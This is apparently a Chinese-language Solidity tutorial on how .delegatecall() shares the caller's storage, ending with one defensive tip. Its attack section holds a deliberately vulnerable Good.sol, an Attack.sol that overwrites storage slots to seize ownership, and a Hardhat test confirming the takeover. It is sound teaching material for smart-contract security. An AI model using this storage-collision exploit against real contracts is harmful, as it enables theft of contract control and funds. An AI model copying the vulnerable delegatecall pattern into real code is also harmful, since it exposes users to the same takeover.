.delegatecall() 是 Solidity 中的一个方法,用于从一个原始合约中调用目标合约中的一个函数。然而,与其他方法不同的是,当使用.delegatecall()在目标合约中执行函数时,上下文从原始合约中传递,即代码在目标合约中执行,但变量在原始合约中被修改。
通过本教程,我们将了解为什么正确理解.delegatecall()的工作原理很重要,否则会产生一些严重后果。
让我们首先了解这一点是如何运作的。
在使用.delegatecall()时需要注意的是,原始合约的上下文被传递给目标合约,目标合约的所有状态变化都反映在原始合约的状态上,而不是目标合约的状态上,即使该函数是在目标合约上执行的。
嗯,不是很清楚吧,我理解。所以让我们试着通过一个例子来理解。
在以太坊中,一个函数可以表示为4+32*N字节,其中4 bytes为函数选择器,32*N字节为函数参数。
我们有两个合约Student.sol和Calculator.sol。我们不知道Calculator.sol的ABI,但是我们知道他们存在一个add函数,这个函数接收两个uint,并在Calculator.sol中把它们加起来。
让我们看看如何使用delegateCall来从Student.sol中调用这个函数。
pragma solidity ^0.8.4;contract Student { uint public mySum; address public studentAddress; function addTwoNumbers(address calculator, uint a, uint b) public returns (uint) { (bool success, bytes memory result) = calculator.delegatecall(abi.encodeWithSignature("add(uint256,uint256)", a, b)); require(success, "The call to calculator contract failed"); return abi.decode(result, (uint)); }}
pragma solidity ^0.8.4;contract Calculator { uint public result; address public user; function add(uint a, uint b) public returns (uint) { result = a + b; user = msg.sender; return result; }}
我们的Student合同中有一个函数addTwoNumbers,它接收一个地址和两个要相加的数字。它没有直接执行它,而是试图在地址上执行一个.delegatecall(),以获取一个需要两个数字的函数add。
我们使用了abi.encodeWithSignature,也和abi.encodeWithSelector一样,它首先进行哈希运算,然后从函数的名称和参数类型中取出前4个字节。在我们的例子中,它做了以下工作。(bytes4(keccak256(add(uint,uint)),然后将参数--a,b附加到函数选择器的4个字节上。这些参数每个都是32字节长(32字节=256位,这也是uint256可以存储的)。
所有这些在串联后被传递到delegatecall方法中,该方法在计算器合同的地址上被调用。
实际的添加部分并不那么有趣,有趣的是,Calculator合约实际上设置了一些状态变量。但是请记住,当数值在Calcultor合约中被分配时,它们实际上是被分配到了Student合约的存储空间中,因为deletgatecall在目标合约中执行函数时使用的是原始合约的存储。因此,具体会发生什么情况如下。
从以前的教程中你知道,solidity中的每个变量槽都是32字节,也就是256位。当我们使用.delegatecall()从Student到Calculator时,我们使用了Student 的存储空间,而不是Calculator的存储空间,但问题是,即使我们使用了Student的存储空间,槽的数量也是基于Calculator合约的,在这种情况下,当你在Calculator.sol的add函数中给结果赋值时,你实际上是给student 合约中的mySum赋值的。
这可能是个问题,因为存储槽可以有不同数据类型的变量。如果Student合约中的值是按照这个顺序定义的,会怎么样呢?
contract Student { address public studentAddress; uint public mySum;}
在这种情况下,address变量实际上最终会成为result的值。你可能会想,一个address数据类型怎么可能包含一个uint的值?要回答这个问题,你必须想得低一点。最后,所有的数据类型都只是字节。address和uint都是32字节的数据类型,所以result的uint值可以被设置在address public studentAddress变量中,因为它们都还是32字节的数据。
.delegatecall()在代理(可升级)合约中被大量使用。由于智能合约在默认情况下是不可升级的,使其可升级的方法通常是有一个不改变的存储合约,其中包含一个实施合约的地址。如果你想更新你的合约代码,你就把执行合约的地址改成新的东西。存储合约使用.delegatecall()进行所有调用,这允许运行不同版本的代码,同时随着时间的推移保持相同的持久化存储,无论你改变多少个实现合约。因此,逻辑可以改变,但数据永远不会被分割。
但是,由于.delegatecall()修改了调用该函数的合约的存储空间,如果.delegatecall()没有被正确实现,就会设计出一些讨厌的攻击。我们现在将模拟一个使用.delegatecall()的攻击。
让我们建立一个例子,你可以体验到攻击是如何发生的。
npm init --yesnpm install --save-dev hardhat
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
npx hardhat
现在你有一个准备好的hardhat项目了!
让我们从创建一个看起来很无辜的合约开始--Good.sol。它将包含Helper合同的地址,以及一个叫做owner的变量。函数setNum将对Helper合约做一个delegatecall)。
//SPDX-License-Identifier: MITpragma solidity ^0.8.4;contract Good { address public helper; address public owner; uint public num; constructor(address _helper) { helper = _helper; owner = msg.sender; } function setNum( uint _num) public { helper.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num)); }}
在创建完Good.sol之后,我们将在contracts目录下创建名为Helper.sol的Helper合同。这是一个简单的合约,通过setNum函数更新num的值。由于它只有一个变量,该变量将永远指向Slot 0。当与delegatecall一起使用时,它将修改原始合约中Slot 0的值。
// SPDX-License-Identifier: MITpragma solidity ^0.8.4;contract Helper { uint public num; function setNum(uint _num) public { num = _num; }}
现在在contracts目录下创建一个名为Attack.sol的合同,并编写以下几行代码。我们将一步步了解它是如何工作的。
//SPDX-License-Identifier: MITpragma solidity ^0.8.4;import "./Good.sol";contract Attack { address public helper; address public owner; uint public num; Good public good; constructor(Good _good) { good = Good(_good); } function setNum(uint _num) public { owner = msg.sender; } function attack() public { // This is the way you typecast an address to a uint good.setNum(uint(uint160(address(this)))); good.setNum(1); }}
攻击者将首先部署Attack.sol合约,并在构造函数中获取一个Good合约的地址。然后,他将调用attack函数,该函数将进一步最初调用Good.sol中的setNum函数。
值得注意的是最初调用setNum的参数,它的地址被类型化为一个uint256,这是它自己的地址。在Good.sol合约中的setNum函数接收到作为uint的地址后,它进一步对Helper合约进行delegatecall,因为现在帮助者变量被设置为Helper合约的地址。
在Helper合约中,当setNum被执行时,它设置了_num,在我们的例子中,现在是Attack.sol的地址被打成一个uint,变成num。请注意,由于num位于Helper合约的Slot 0,它实际上会把Attack.sol的地址分配给Good.sol的Slot 0。喔... 你可能知道这是怎么回事了。Good的Slot 0是帮助者变量,这意味着,攻击者现在已经成功地将p地址变量更新到它自己的合同上。
现在,helper合同的地址已经被Attack.sol的地址覆盖了。在Attack.sol的attack函数中被执行的下一件事是另一个setNum,但数字为1。数字1在这里没有任何意义,它可以被设置为任何东西。
现在,当setNum在Good.sol中被调用时,它将把调用委托给Attack.sol,因为helper合约的地址已经被覆盖了。
Attack.sol内的setNum被执行,它将owner设置为msg.sender,在这种情况下就是Attack.sol本身,因为它是delegatecall的原始调用者,而且因为所有者在Attack.sol的Slot 1,Good.sol的Slot 1将被覆盖,也就是它的owner。
攻击者能够改变Good.sol的owner 。
让我们试着用代码来实际执行这个攻击。我们将利用Hardhat测试来演示这个功能。
在test文件夹中创建一个名为attack.js的新文件并添加以下几行代码
const { expect } = require("chai");const { BigNumber } = require("ethers");const { ethers, waffle } = require("hardhat");describe("Attack", function () { it("Should change the owner of the Good contract", async function () { // Deploy the helper contract const helperContract = await ethers.getContractFactory("Helper"); const _helperContract = await helperContract.deploy(); await _helperContract.deployed(); console.log("Helper Contract's Address:", _helperContract.address); // Deploy the good contract const goodContract = await ethers.getContractFactory("Good"); const _goodContract = await goodContract.deploy(_helperContract.address); await _goodContract.deployed(); console.log("Good Contract's Address:", _goodContract.address); // Deploy the Attack contract const attackContract = await ethers.getContractFactory("Attack"); const _attackContract = await attackContract.deploy(_goodContract.address); await _attackContract.deployed(); console.log("Attack Contract's Address", _attackContract.address); // Now lets attack the good contract // Start the attack let tx = await _attackContract.attack(); await tx.wait(); expect(await _goodContract.owner()).to.equal(_attackContract.address); });});
要执行测试以验证Good合同的owner确实发生了变化,在你的终端上,指向包含本层所有代码的目录,执行以下命令
npx hardhat test
如果你的测试通过了,那么good合约的所有者地址确实被改变了,因为我们在测试结束时将good中的owner变量的值等同于Attack合约的地址。
开始吧
使用无状态的合同库,这意味着你委托调用的合同应该只用于执行逻辑,不应该维护状态。这样一来,库中的函数就不可能修改调用合约的状态。
[1] video: https://www.youtube.com/watch?v=rxZR3ITZlzE
[2] Delegate call: https://medium.com/coinmonks/delegatecall-calling-another-contract-function-in-solidity-b579f804178c
[3] Solidity by Example: https://solidity-by-example.org/
留言与评论(共有 0 条评论) “” |